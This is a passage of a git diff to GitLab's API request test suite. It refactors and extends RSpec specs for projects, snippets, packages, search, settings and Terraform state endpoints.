end
diff --git a/spec/requests/api/pages/private_access_spec.rb b/spec/requests/api/pages/private_access_spec.rb
index ea5db691b14..c1c0e406508 100644
--- a/spec/requests/api/pages/private_access_spec.rb
+++ b/spec/requests/api/pages/private_access_spec.rb
@@ -72,7 +72,7 @@ RSpec.describe "Private Project Pages Access" do
with_them do
before do
- project.project_feature.update(pages_access_level: pages_access_level)
+ project.project_feature.update!(pages_access_level: pages_access_level)
end
it "correct return value" do
if !with_user.nil?
diff --git a/spec/requests/api/pages/public_access_spec.rb b/spec/requests/api/pages/public_access_spec.rb
index ae73cee91d5..c45b3a4c55e 100644
--- a/spec/requests/api/pages/public_access_spec.rb
+++ b/spec/requests/api/pages/public_access_spec.rb
@@ -72,7 +72,7 @@ RSpec.describe "Public Project Pages Access" do
with_them do
before do
- project.project_feature.update(pages_access_level: pages_access_level)
+ project.project_feature.update!(pages_access_level: pages_access_level)
end
it "correct return value" do
if !with_user.nil?
diff --git a/spec/requests/api/project_milestones_spec.rb b/spec/requests/api/project_milestones_spec.rb
index d1e5df66b3f..71535e66353 100644
--- a/spec/requests/api/project_milestones_spec.rb
+++ b/spec/requests/api/project_milestones_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe API::ProjectMilestones do
let(:milestones) { [group_milestone, ancestor_group_milestone, milestone, closed_milestone] }
before_all do
- project.update(namespace: group)
+ project.update!(namespace: group)
end
it_behaves_like 'listing all milestones'
@@ -108,7 +108,7 @@ RSpec.describe API::ProjectMilestones do
let(:group) { create(:group) }
before do
- project.update(namespace: group)
+ project.update!(namespace: group)
end
context 'when user does not have permission to promote milestone' do
@@ -163,7 +163,7 @@ RSpec.describe API::ProjectMilestones do
context 'when project does not belong to group' do
before do
- project.update(namespace: user.namespace)
+ project.update!(namespace: user.namespace)
end
it 'returns 403' do
diff --git a/spec/requests/api/project_packages_spec.rb b/spec/requests/api/project_packages_spec.rb
index 0ece3bff8f9..2f0d0fc87ec 100644
--- a/spec/requests/api/project_packages_spec.rb
+++ b/spec/requests/api/project_packages_spec.rb
@@ -104,6 +104,8 @@ RSpec.describe API::ProjectPackages do
expect(json_response.first['name']).to include(package2.name)
end
end
+
+ it_behaves_like 'does not cause n^2 queries'
end
end
@@ -127,6 +129,22 @@ RSpec.describe API::ProjectPackages do
end
context 'without the need for a license' do
+ context 'with build info' do
+ it 'does not result in additional queries' do
+ control = ActiveRecord::QueryRecorder.new do
+ get api(package_url, user)
+ end
+
+ pipeline = create(:ci_pipeline, user: user)
+ create(:ci_build, user: user, pipeline: pipeline)
+ create(:package_build_info, package: package1, pipeline: pipeline)
+
+ expect do
+ get api(package_url, user)
+ end.not_to exceed_query_limit(control)
+ end
+ end
+
context 'project is public' do
it 'returns 200 and the package information' do
subject
diff --git a/spec/requests/api/project_snippets_spec.rb b/spec/requests/api/project_snippets_spec.rb
index 9b876edae24..08c88873078 100644
--- a/spec/requests/api/project_snippets_spec.rb
+++ b/spec/requests/api/project_snippets_spec.rb
@@ -304,56 +304,10 @@ RSpec.describe API::ProjectSnippets do
let(:visibility_level) { Snippet::PUBLIC }
let(:snippet) { create(:project_snippet, :repository, author: admin, visibility_level: visibility_level, project: project) }
- it 'updates snippet' do
- new_content = 'New content'
- new_description = 'New description'
-
- update_snippet(params: { content: new_content, description: new_description, visibility: 'private' })
-
- expect(response).to have_gitlab_http_status(:ok)
- snippet.reload
- expect(snippet.content).to eq(new_content)
- expect(snippet.description).to eq(new_description)
- expect(snippet.visibility).to eq('private')
- end
-
- it 'updates snippet with content parameter' do
- new_content = 'New content'
- new_description = 'New description'
-
- update_snippet(params: { content: new_content, description: new_description })
-
- expect(response).to have_gitlab_http_status(:ok)
- snippet.reload
- expect(snippet.content).to eq(new_content)
- expect(snippet.description).to eq(new_description)
- end
-
- it 'returns 404 for invalid snippet id' do
- update_snippet(snippet_id: non_existing_record_id, params: { title: 'foo' })
-
- expect(response).to have_gitlab_http_status(:not_found)
- expect(json_response['message']).to eq('404 Snippet Not Found')
- end
-
- it 'returns 400 for missing parameters' do
- update_snippet
-
- expect(response).to have_gitlab_http_status(:bad_request)
- end
-
- it 'returns 400 if content is blank' do
- update_snippet(params: { content: '' })
-
- expect(response).to have_gitlab_http_status(:bad_request)
- end
-
- it 'returns 400 if title is blank' do
- update_snippet(params: { title: '' })
-
- expect(response).to have_gitlab_http_status(:bad_request)
- expect(json_response['error']).to eq 'title is empty'
- end
+ it_behaves_like 'snippet file updates'
+ it_behaves_like 'snippet non-file updates'
+ it_behaves_like 'snippet individual non-file updates'
+ it_behaves_like 'invalid snippet updates'
it_behaves_like 'update with repository actions' do
let(:snippet_without_repo) { create(:project_snippet, author: admin, project: project, visibility_level: visibility_level) }
diff --git a/spec/requests/api/projects_spec.rb b/spec/requests/api/projects_spec.rb
index 46340f86f69..831b0d6e678 100644
--- a/spec/requests/api/projects_spec.rb
+++ b/spec/requests/api/projects_spec.rb
@@ -49,15 +49,15 @@ end
RSpec.describe API::Projects do
include ProjectForksHelper
- let(:user) { create(:user) }
- let(:user2) { create(:user) }
- let(:user3) { create(:user) }
- let(:admin) { create(:admin) }
- let(:project) { create(:project, :repository, namespace: user.namespace) }
- let(:project2) { create(:project, namespace: user.namespace) }
- let(:project_member) { create(:project_member, :developer, user: user3, project: project) }
- let(:user4) { create(:user, username: 'user.with.dot') }
- let(:project3) do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:user2) { create(:user) }
+ let_it_be(:user3) { create(:user) }
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:project, reload: true) { create(:project, :repository, namespace: user.namespace) }
+ let_it_be(:project2, reload: true) { create(:project, namespace: user.namespace) }
+ let_it_be(:project_member) { create(:project_member, :developer, user: user3, project: project) }
+ let_it_be(:user4) { create(:user, username: 'user.with.dot') }
+ let_it_be(:project3, reload: true) do
create(:project,
:private,
:repository,
@@ -71,14 +71,14 @@ RSpec.describe API::Projects do
snippets_enabled: false)
end
- let(:project_member2) do
+ let_it_be(:project_member2) do
create(:project_member,
user: user4,
project: project3,
access_level: ProjectMember::MAINTAINER)
end
- let(:project4) do
+ let_it_be(:project4, reload: true) do
create(:project,
name: 'third_project',
path: 'third_project',
@@ -86,6 +86,8 @@ RSpec.describe API::Projects do
namespace: user4.namespace)
end
+ let(:user_projects) { [public_project, project, project2, project3] }
+
shared_context 'with language detection' do
let(:ruby) { create(:programming_language, name: 'Ruby') }
let(:javascript) { create(:programming_language, name: 'JavaScript') }
@@ -146,14 +148,7 @@ RSpec.describe API::Projects do
end
end
- let!(:public_project) { create(:project, :public, name: 'public_project') }
-
- before do
- project
- project2
- project3
- project4
- end
+ let_it_be(:public_project) { create(:project, :public, name: 'public_project') }
context 'when unauthenticated' do
it_behaves_like 'projects response' do
@@ -171,7 +166,7 @@ RSpec.describe API::Projects do
it_behaves_like 'projects response' do
let(:filter) { {} }
let(:current_user) { user }
- let(:projects) { [public_project, project, project2, project3] }
+ let(:projects) { user_projects }
end
it_behaves_like 'projects response without N + 1 queries' do
@@ -208,7 +203,7 @@ RSpec.describe API::Projects do
end
it 'does not include projects marked for deletion' do
- project.update(pending_delete: true)
+ project.update!(pending_delete: true)
get api('/projects', user)
@@ -257,7 +252,7 @@ RSpec.describe API::Projects do
expect(response).to include_pagination_headers
expect(json_response).to be_an Array
- statistics = json_response.first['statistics']
+ statistics = json_response.find { |p| p['id'] == project.id }['statistics']
expect(statistics).to be_present
expect(statistics).to include('commit_count', 'storage_size', 'repository_size', 'wiki_size', 'lfs_objects_size', 'job_artifacts_size', 'snippets_size')
end
@@ -386,14 +381,14 @@ RSpec.describe API::Projects do
it_behaves_like 'projects response' do
let(:filter) { { id_after: project2.id } }
let(:current_user) { user }
- let(:projects) { [public_project, project, project2, project3].select { |p| p.id > project2.id } }
+ let(:projects) { user_projects.select { |p| p.id > project2.id } }
end
context 'regression: empty string is ignored' do
it_behaves_like 'projects response' do
let(:filter) { { id_after: '' } }
let(:current_user) { user }
- let(:projects) { [public_project, project, project2, project3] }
+ let(:projects) { user_projects }
end
end
end
@@ -402,14 +397,14 @@ RSpec.describe API::Projects do
it_behaves_like 'projects response' do
let(:filter) { { id_before: project2.id } }
let(:current_user) { user }
- let(:projects) { [public_project, project, project2, project3].select { |p| p.id < project2.id } }
+ let(:projects) { user_projects.select { |p| p.id < project2.id } }
end
context 'regression: empty string is ignored' do
it_behaves_like 'projects response' do
let(:filter) { { id_before: '' } }
let(:current_user) { user }
- let(:projects) { [public_project, project, project2, project3] }
+ let(:projects) { user_projects }
end
end
end
@@ -418,7 +413,7 @@ RSpec.describe API::Projects do
it_behaves_like 'projects response' do
let(:filter) { { id_before: project2.id, id_after: public_project.id } }
let(:current_user) { user }
- let(:projects) { [public_project, project, project2, project3].select { |p| p.id < project2.id && p.id > public_project.id } }
+ let(:projects) { user_projects.select { |p| p.id < project2.id && p.id > public_project.id } }
end
end
@@ -481,7 +476,7 @@ RSpec.describe API::Projects do
expect(response).to have_gitlab_http_status(:ok)
expect(response).to include_pagination_headers
expect(json_response).to be_an Array
- expect(json_response.first['id']).to eq(project3.id)
+ expect(json_response.map { |p| p['id'] }).to eq(user_projects.map(&:id).sort.reverse)
end
end
@@ -495,14 +490,32 @@ RSpec.describe API::Projects do
expect(json_response.first['name']).to eq(project4.name)
expect(json_response.first['owner']['username']).to eq(user4.username)
end
+
+ context 'when admin creates a project' do
+ before do
+ group = create(:group)
+ project_create_opts = {
+ name: 'GitLab',
+ namespace_id: group.id
+ }
+
+ Projects::CreateService.new(admin, project_create_opts).execute
+ end
+
+ it 'does not list as owned project for admin' do
+ get api('/projects', admin), params: { owned: true }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_empty
+ end
+ end
end
context 'and with starred=true' do
let(:public_project) { create(:project, :public) }
before do
- project_member
- user3.update(starred_projects: [project, project2, project3, public_project])
+ user3.update!(starred_projects: [project, project2, project3, public_project])
end
it 'returns the starred projects viewable by the user' do
@@ -523,7 +536,7 @@ RSpec.describe API::Projects do
let!(:project9) { create(:project, :public, path: 'gitlab9') }
before do
- user.update(starred_projects: [project5, project7, project8, project9])
+ user.update!(starred_projects: [project5, project7, project8, project9])
end
context 'including owned filter' do
@@ -642,7 +655,6 @@ RSpec.describe API::Projects do
context 'non-admin user' do
let(:current_user) { user }
- let(:projects) { [public_project, project, project2, project3] }
it 'returns projects ordered normally' do
get api('/projects', current_user), params: { order_by: order_by }
@@ -650,7 +662,7 @@ RSpec.describe API::Projects do
expect(response).to have_gitlab_http_status(:ok)
expect(response).to include_pagination_headers
expect(json_response).to be_an Array
- expect(json_response.map { |project| project['id'] }).to eq(projects.map(&:id).reverse)
+ expect(json_response.map { |project| project['id'] }).to eq(user_projects.map(&:id).sort.reverse)
end
end
end
@@ -686,7 +698,8 @@ RSpec.describe API::Projects do
context 'with keyset pagination' do
let(:current_user) { user }
- let(:projects) { [public_project, project, project2, project3] }
+ let(:first_project_id) { user_projects.map(&:id).min }
+ let(:last_project_id) { user_projects.map(&:id).max }
context 'headers and records' do
let(:params) { { pagination: 'keyset', order_by: :id, sort: :asc, per_page: 1 } }
@@ -696,11 +709,11 @@ RSpec.describe API::Projects do
expect(response.header).to include('Links')
expect(response.header['Links']).to include('pagination=keyset')
- expect(response.header['Links']).to include("id_after=#{public_project.id}")
+ expect(response.header['Links']).to include("id_after=#{first_project_id}")
expect(response.header).to include('Link')
expect(response.header['Link']).to include('pagination=keyset')
- expect(response.header['Link']).to include("id_after=#{public_project.id}")
+ expect(response.header['Link']).to include("id_after=#{first_project_id}")
end
it 'contains only the first project with per_page = 1' do
@@ -708,7 +721,7 @@ RSpec.describe API::Projects do
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to be_an Array
- expect(json_response.map { |p| p['id'] }).to contain_exactly(public_project.id)
+ expect(json_response.map { |p| p['id'] }).to contain_exactly(first_project_id)
end
it 'still includes a link if the end has reached and there is no more data after this page' do
@@ -752,11 +765,11 @@ RSpec.describe API::Projects do
expect(response.header).to include('Links')
expect(response.header['Links']).to include('pagination=keyset')
- expect(response.header['Links']).to include("id_before=#{project3.id}")
+ expect(response.header['Links']).to include("id_before=#{last_project_id}")
expect(response.header).to include('Link')
expect(response.header['Link']).to include('pagination=keyset')
- expect(response.header['Link']).to include("id_before=#{project3.id}")
+ expect(response.header['Link']).to include("id_before=#{last_project_id}")
end
it 'contains only the last project with per_page = 1' do
@@ -764,7 +777,7 @@ RSpec.describe API::Projects do
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to be_an Array
- expect(json_response.map { |p| p['id'] }).to contain_exactly(project3.id)
+ expect(json_response.map { |p| p['id'] }).to contain_exactly(last_project_id)
end
end
@@ -793,7 +806,7 @@ RSpec.describe API::Projects do
ids += Gitlab::Json.parse(response.body).map { |p| p['id'] }
end
- expect(ids).to contain_exactly(*projects.map(&:id))
+ expect(ids).to contain_exactly(*user_projects.map(&:id))
end
end
end
@@ -814,7 +827,7 @@ RSpec.describe API::Projects do
.to change { Project.count }.by(1)
expect(response).to have_gitlab_http_status(:created)
- project = Project.first
+ project = Project.last
expect(project.name).to eq('Foo Project')
expect(project.path).to eq('foo-project')
@@ -825,7 +838,7 @@ RSpec.describe API::Projects do
.to change { Project.count }.by(1)
expect(response).to have_gitlab_http_status(:created)
- project = Project.first
+ project = Project.last
expect(project.name).to eq('foo_project')
expect(project.path).to eq('foo_project')
@@ -836,7 +849,7 @@ RSpec.describe API::Projects do
.to change { Project.count }.by(1)
expect(response).to have_gitlab_http_status(:created)
- project = Project.first
+ project = Project.last
expect(project.name).to eq('Foo Project')
expect(project.path).to eq('path-project-Foo')
@@ -1232,7 +1245,7 @@ RSpec.describe API::Projects do
describe 'GET /users/:user_id/starred_projects/' do
before do
- user3.update(starred_projects: [project, project2, project3])
+ user3.update!(starred_projects: [project, project2, project3])
end
it 'returns error when user not found' do
@@ -1745,7 +1758,7 @@ RSpec.describe API::Projects do
end
it 'returns 404 when project is marked for deletion' do
- project.update(pending_delete: true)
+ project.update!(pending_delete: true)
get api("/projects/#{project.id}", user)
@@ -1985,7 +1998,8 @@ RSpec.describe API::Projects do
context 'when authenticated' do
context 'valid request' do
it_behaves_like 'project users response' do
- let(:current_user) { user }
+ let(:project) { project4 }
+ let(:current_user) { user4 }
end
end
@@ -2011,8 +2025,8 @@ RSpec.describe API::Projects do
get api("/projects/#{project.id}/users?skip_users=#{user.id}", user)
expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.size).to eq(1)
- expect(json_response[0]['id']).to eq(other_user.id)
+ expect(json_response.size).to eq(2)
+ expect(json_response.map { |m| m['id'] }).not_to include(user.id)
end
end
end
@@ -2260,7 +2274,7 @@ RSpec.describe API::Projects do
end
it "returns a 400 error when sharing is disabled" do
- project.namespace.update(share_with_group_lock: true)
+ project.namespace.update!(share_with_group_lock: true)
post api("/projects/#{project.id}/share", user), params: { group_id: group.id, group_access: Gitlab::Access::DEVELOPER }
expect(response).to have_gitlab_http_status(:bad_request)
end
@@ -2417,7 +2431,7 @@ RSpec.describe API::Projects do
end
it 'updates visibility_level from public to private' do
- project3.update({ visibility_level: Gitlab::VisibilityLevel::PUBLIC })
+ project3.update!({ visibility_level: Gitlab::VisibilityLevel::PUBLIC })
project_param = { visibility: 'private' }
put api("/projects/#{project3.id}", user), params: project_param
@@ -2877,8 +2891,8 @@ RSpec.describe API::Projects do
let(:private_user) { create(:user, private_profile: true) }
before do
- user.update(starred_projects: [public_project])
- private_user.update(starred_projects: [public_project])
+ user.update!(starred_projects: [public_project])
+ private_user.update!(starred_projects: [public_project])
end
it 'returns not_found(404) for not existing project' do
diff --git a/spec/requests/api/pypi_packages_spec.rb b/spec/requests/api/pypi_packages_spec.rb
index e2cfd87b507..e72ac002f6b 100644
--- a/spec/requests/api/pypi_packages_spec.rb
+++ b/spec/requests/api/pypi_packages_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe API::PypiPackages do
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
+ let_it_be(:job) { create(:ci_build, :running, user: user) }
describe 'GET /api/v4/projects/:id/packages/pypi/simple/:package_name' do
let_it_be(:package) { create(:pypi_package, project: project) }
@@ -58,6 +59,8 @@ RSpec.describe API::PypiPackages do
it_behaves_like 'deploy token for package GET requests'
+ it_behaves_like 'job token for package GET requests'
+
it_behaves_like 'rejects PyPI access with unknown project id'
end
@@ -108,6 +111,8 @@ RSpec.describe API::PypiPackages do
it_behaves_like 'deploy token for package uploads'
+ it_behaves_like 'job token for package uploads'
+
it_behaves_like 'rejects PyPI access with unknown project id'
end
@@ -117,7 +122,8 @@ RSpec.describe API::PypiPackages do
let_it_be(:file_name) { 'package.whl' }
let(:url) { "/projects/#{project.id}/packages/pypi" }
let(:headers) { {} }
- let(:base_params) { { requires_python: '>=3.7', version: '1.0.0', name: 'sample-project', sha256_digest: '123' } }
+ let(:requires_python) { '>=3.7' }
+ let(:base_params) { { requires_python: requires_python, version: '1.0.0', name: 'sample-project', sha256_digest: '123' } }
let(:params) { base_params.merge(content: temp_file(file_name)) }
let(:send_rewritten_field) { true }
@@ -169,6 +175,19 @@ RSpec.describe API::PypiPackages do
end
end
+ context 'with required_python too big' do
+ let(:requires_python) { 'x' * 256 }
+ let(:token) { personal_access_token.token }
+ let(:user_headers) { basic_auth_header(user.username, token) }
+ let(:headers) { user_headers.merge(workhorse_header) }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ end
+
+ it_behaves_like 'process PyPi api request', :developer, :bad_request, true
+ end
+
context 'with an invalid package' do
let(:token) { personal_access_token.token }
let(:user_headers) { basic_auth_header(user.username, token) }
@@ -184,7 +203,21 @@ RSpec.describe API::PypiPackages do
it_behaves_like 'deploy token for package uploads'
+ it_behaves_like 'job token for package uploads'
+
it_behaves_like 'rejects PyPI access with unknown project id'
+
+ context 'file size above maximum limit' do
+ let(:headers) { basic_auth_header(deploy_token.username, deploy_token.token).merge(workhorse_header) }
+
+ before do
+ allow_next_instance_of(UploadedFile) do |uploaded_file|
+ allow(uploaded_file).to receive(:size).and_return(project.actual_limits.pypi_max_file_size + 1)
+ end
+ end
+
+ it_behaves_like 'returning response status', :bad_request
+ end
end
describe 'GET /api/v4/projects/:id/packages/pypi/files/:sha256/*file_identifier' do
@@ -247,6 +280,26 @@ RSpec.describe API::PypiPackages do
end
end
+ context 'with job token headers' do
+ let(:headers) { basic_auth_header(::Gitlab::Auth::CI_JOB_USER, job.token) }
+
+ context 'valid token' do
+ it_behaves_like 'returning response status', :success
+ end
+
+ context 'invalid token' do
+ let(:headers) { basic_auth_header(::Gitlab::Auth::CI_JOB_USER, 'bar') }
+
+ it_behaves_like 'returning response status', :success
+ end
+
+ context 'invalid user' do
+ let(:headers) { basic_auth_header('foo', job.token) }
+
+ it_behaves_like 'returning response status', :success
+ end
+ end
+
it_behaves_like 'rejects PyPI access with unknown project id'
end
end
diff --git a/spec/requests/api/search_spec.rb b/spec/requests/api/search_spec.rb
index 1a93be98a67..af6731f3015 100644
--- a/spec/requests/api/search_spec.rb
+++ b/spec/requests/api/search_spec.rb
@@ -47,6 +47,17 @@ RSpec.describe API::Search do
end
end
+ shared_examples 'filter by state' do |scope:, search:|
+ it 'respects scope filtering' do
+ get api(endpoint, user), params: { scope: scope, search: search, state: state }
+
+ documents = Gitlab::Json.parse(response.body)
+
+ expect(documents.count).to eq(1)
+ expect(documents.first['state']).to eq(state)
+ end
+ end
+
describe 'GET /search' do
let(:endpoint) { '/search' }
@@ -88,42 +99,84 @@ RSpec.describe API::Search do
end
context 'for issues scope' do
- before do
- create(:issue, project: project, title: 'awesome issue')
+ context 'without filtering by state' do
+ before do
+ create(:issue, project: project, title: 'awesome issue')
- get api(endpoint, user), params: { scope: 'issues', search: 'awesome' }
- end
+ get api(endpoint, user), params: { scope: 'issues', search: 'awesome' }
+ end
- it_behaves_like 'response is correct', schema: 'public_api/v4/issues'
+ it_behaves_like 'response is correct', schema: 'public_api/v4/issues'
- it_behaves_like 'ping counters', scope: :issues
+ it_behaves_like 'ping counters', scope: :issues
- describe 'pagination' do
+ describe 'pagination' do
+ before do
+ create(:issue, project: project, title: 'another issue')
+ end
+
+ include_examples 'pagination', scope: :issues
+ end
+ end
+
+ context 'filter by state' do
before do
- create(:issue, project: project, title: 'another issue')
+ create(:issue, project: project, title: 'awesome opened issue')
+ create(:issue, :closed, project: project, title: 'awesome closed issue')
end
- include_examples 'pagination', scope: :issues
+ context 'state: opened' do
+ let(:state) { 'opened' }
+
+ include_examples 'filter by state', scope: :issues, search: 'awesome'
+ end
+
+ context 'state: closed' do
+ let(:state) { 'closed' }
+
+ include_examples 'filter by state', scope: :issues, search: 'awesome'
+ end
end
end
context 'for merge_requests scope' do
- before do
- create(:merge_request, source_project: repo_project, title: 'awesome mr')
+ context 'without filtering by state' do
+ before do
+ create(:merge_request, source_project: repo_project, title: 'awesome mr')
- get api(endpoint, user), params: { scope: 'merge_requests', search: 'awesome' }
- end
+ get api(endpoint, user), params: { scope: 'merge_requests', search: 'awesome' }
+ end
- it_behaves_like 'response is correct', schema: 'public_api/v4/merge_requests'
+ it_behaves_like 'response is correct', schema: 'public_api/v4/merge_requests'
- it_behaves_like 'ping counters', scope: :merge_requests
+ it_behaves_like 'ping counters', scope: :merge_requests
- describe 'pagination' do
+ describe 'pagination' do
+ before do
+ create(:merge_request, source_project: repo_project, title: 'another mr', target_branch: 'another_branch')
+ end
+
+ include_examples 'pagination', scope: :merge_requests
+ end
+ end
+
+ context 'filter by state' do
before do
- create(:merge_request, source_project: repo_project, title: 'another mr', target_branch: 'another_branch')
+ create(:merge_request, source_project: project, title: 'awesome opened mr')
+ create(:merge_request, :closed, project: project, title: 'awesome closed mr')
end
- include_examples 'pagination', scope: :merge_requests
+ context 'state: opened' do
+ let(:state) { 'opened' }
+
+ include_examples 'filter by state', scope: :merge_requests, search: 'awesome'
+ end
+
+ context 'state: closed' do
+ let(:state) { 'closed' }
+
+ include_examples 'filter by state', scope: :merge_requests, search: 'awesome'
+ end
end
end
diff --git a/spec/requests/api/settings_spec.rb b/spec/requests/api/settings_spec.rb
index 8db0cdcbc2c..ef12f6dbed3 100644
--- a/spec/requests/api/settings_spec.rb
+++ b/spec/requests/api/settings_spec.rb
@@ -31,7 +31,6 @@ RSpec.describe API::Settings, 'Settings' do
expect(json_response['ecdsa_key_restriction']).to eq(0)
expect(json_response['ed25519_key_restriction']).to eq(0)
expect(json_response['performance_bar_allowed_group_id']).to be_nil
- expect(json_response['instance_statistics_visibility_private']).to be(false)
expect(json_response['allow_local_requests_from_hooks_and_services']).to be(false)
expect(json_response['allow_local_requests_from_web_hooks_and_services']).to be(false)
expect(json_response['allow_local_requests_from_system_hooks']).to be(true)
@@ -40,6 +39,7 @@ RSpec.describe API::Settings, 'Settings' do
expect(json_response['snippet_size_limit']).to eq(50.megabytes)
expect(json_response['spam_check_endpoint_enabled']).to be_falsey
expect(json_response['spam_check_endpoint_url']).to be_nil
+ expect(json_response['wiki_page_max_content_bytes']).to be_a(Integer)
end
end
@@ -104,7 +104,6 @@ RSpec.describe API::Settings, 'Settings' do
enforce_terms: true,
terms: 'Hello world!',
performance_bar_allowed_group_path: group.full_path,
- instance_statistics_visibility_private: true,
diff_max_patch_bytes: 150_000,
default_branch_protection: ::Gitlab::Access::PROTECTION_DEV_CAN_MERGE,
local_markdown_version: 3,
@@ -118,7 +117,8 @@ RSpec.describe API::Settings, 'Settings' do
spam_check_endpoint_enabled: true,
spam_check_endpoint_url: 'https://example.com/spam_check',
disabled_oauth_sign_in_sources: 'unknown',
- import_sources: 'github,bitbucket'
+ import_sources: 'github,bitbucket',
+ wiki_page_max_content_bytes: 12345
}
expect(response).to have_gitlab_http_status(:ok)
@@ -146,7 +146,6 @@ RSpec.describe API::Settings, 'Settings' do
expect(json_response['enforce_terms']).to be(true)
expect(json_response['terms']).to eq('Hello world!')
expect(json_response['performance_bar_allowed_group_id']).to eq(group.id)
- expect(json_response['instance_statistics_visibility_private']).to be(true)
expect(json_response['diff_max_patch_bytes']).to eq(150_000)
expect(json_response['default_branch_protection']).to eq(Gitlab::Access::PROTECTION_DEV_CAN_MERGE)
expect(json_response['local_markdown_version']).to eq(3)
@@ -161,6 +160,7 @@ RSpec.describe API::Settings, 'Settings' do
expect(json_response['spam_check_endpoint_url']).to eq('https://example.com/spam_check')
expect(json_response['disabled_oauth_sign_in_sources']).to eq([])
expect(json_response['import_sources']).to match_array(%w(github bitbucket))
+ expect(json_response['wiki_page_max_content_bytes']).to eq(12345)
end
end
@@ -239,8 +239,7 @@ RSpec.describe API::Settings, 'Settings' do
snowplow_collector_hostname: "snowplow.example.com",
snowplow_cookie_domain: ".example.com",
snowplow_enabled: true,
- snowplow_app_id: "app_id",
- snowplow_iglu_registry_url: 'https://example.com'
+ snowplow_app_id: "app_id"
}
end
diff --git a/spec/requests/api/snippets_spec.rb b/spec/requests/api/snippets_spec.rb
index 4e2f6e108eb..8d77026d26c 100644
--- a/spec/requests/api/snippets_spec.rb
+++ b/spec/requests/api/snippets_spec.rb
@@ -111,7 +111,7 @@ RSpec.describe API::Snippets do
end
it 'returns 404 for invalid snippet id' do
- snippet.destroy
+ snippet.destroy!
get api("/snippets/#{snippet.id}/raw", author)
@@ -201,7 +201,7 @@ RSpec.describe API::Snippets do
end
it 'returns 404 for invalid snippet id' do
- private_snippet.destroy
+ private_snippet.destroy!
subject
@@ -368,7 +368,7 @@ RSpec.describe API::Snippets do
context 'when the snippet is public' do
let(:extra_params) { { visibility: 'public' } }
- it 'rejects the shippet' do
+ it 'rejects the snippet' do
expect { subject }.not_to change { Snippet.count }
expect(response).to have_gitlab_http_status(:bad_request)
@@ -391,19 +391,16 @@ RSpec.describe API::Snippets do
create(:personal_snippet, :repository, author: user, visibility_level: visibility_level)
end
- shared_examples 'snippet updates' do
- it 'updates a snippet' do
- new_content = 'New content'
- new_description = 'New description'
+ it_behaves_like 'snippet file updates'
+ it_behaves_like 'snippet non-file updates'
+ it_behaves_like 'snippet individual non-file updates'
+ it_behaves_like 'invalid snippet updates'
- update_snippet(params: { content: new_content, description: new_description, visibility: 'internal' })
+ it "returns 404 for another user's snippet" do
+ update_snippet(requester: other_user, params: { title: 'foobar' })
- expect(response).to have_gitlab_http_status(:ok)
- snippet.reload
- expect(snippet.content).to eq(new_content)
- expect(snippet.description).to eq(new_description)
- expect(snippet.visibility).to eq('internal')
- end
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('404 Snippet Not Found')
end
context 'with restricted visibility settings' do
@@ -413,43 +410,7 @@ RSpec.describe API::Snippets do
Gitlab::VisibilityLevel::PRIVATE])
end
- it_behaves_like 'snippet updates'
- end
-
- it_behaves_like 'snippet updates'
-
- it 'returns 404 for invalid snippet id' do
- update_snippet(snippet_id: non_existing_record_id, params: { title: 'Foo' })
-
- expect(response).to have_gitlab_http_status(:not_found)
- expect(json_response['message']).to eq('404 Snippet Not Found')
- end
-
- it "returns 404 for another user's snippet" do
- update_snippet(requester: other_user, params: { title: 'foobar' })
-
- expect(response).to have_gitlab_http_status(:not_found)
- expect(json_response['message']).to eq('404 Snippet Not Found')
- end
-
- it 'returns 400 for missing parameters' do
- update_snippet
-
- expect(response).to have_gitlab_http_status(:bad_request)
- end
-
- it 'returns 400 if content is blank' do
- update_snippet(params: { content: '' })
-
- expect(response).to have_gitlab_http_status(:bad_request)
- expect(json_response['error']).to eq 'content is empty'
- end
-
- it 'returns 400 if title is blank' do
- update_snippet(params: { title: '' })
-
- expect(response).to have_gitlab_http_status(:bad_request)
- expect(json_response['error']).to eq 'title is empty'
+ it_behaves_like 'snippet non-file updates'
end
it_behaves_like 'update with repository actions' do
@@ -475,7 +436,7 @@ RSpec.describe API::Snippets do
context 'when the snippet is public' do
let(:visibility_level) { Snippet::PUBLIC }
- it 'rejects the shippet' do
+ it 'rejects the snippet' do
expect { update_snippet(params: { title: 'Foo' }) }
.not_to change { snippet.reload.title }
diff --git a/spec/requests/api/terraform/state_spec.rb b/spec/requests/api/terraform/state_spec.rb
index c47a12456c3..8d128bd911f 100644
--- a/spec/requests/api/terraform/state_spec.rb
+++ b/spec/requests/api/terraform/state_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe API::Terraform::State do
let_it_be(:developer) { create(:user, developer_projects: [project]) }
let_it_be(:maintainer) { create(:user, maintainer_projects: [project]) }
- let!(:state) { create(:terraform_state, :with_file, project: project) }
+ let!(:state) { create(:terraform_state, :with_version, project: project) }
let(:current_user) { maintainer }
let(:auth_header) { user_basic_auth_header(current_user) }
@@ -42,7 +42,7 @@ RSpec.describe API::Terraform::State do
request
expect(response).to have_gitlab_http_status(:ok)
- expect(response.body).to eq(state.file.read)
+ expect(response.body).to eq(state.reload.latest_file.read)
end
context 'for a project that does not exist' do
@@ -63,7 +63,7 @@ RSpec.describe API::Terraform::State do
request
expect(response).to have_gitlab_http_status(:ok)
- expect(response.body).to eq(state.file.read)
+ expect(response.body).to eq(state.reload.latest_file.read)
end
end
end
@@ -78,7 +78,7 @@ RSpec.describe API::Terraform::State do
request
expect(response).to have_gitlab_http_status(:ok)
- expect(response.body).to eq(state.file.read)
+ expect(response.body).to eq(state.reload.latest_file.read)
end
it 'returns unauthorized if the the job is not running' do
@@ -106,14 +106,14 @@ RSpec.describe API::Terraform::State do
request
expect(response).to have_gitlab_http_status(:ok)
- expect(response.body).to eq(state.file.read)
+ expect(response.body).to eq(state.reload.latest_file.read)
end
end
end
end
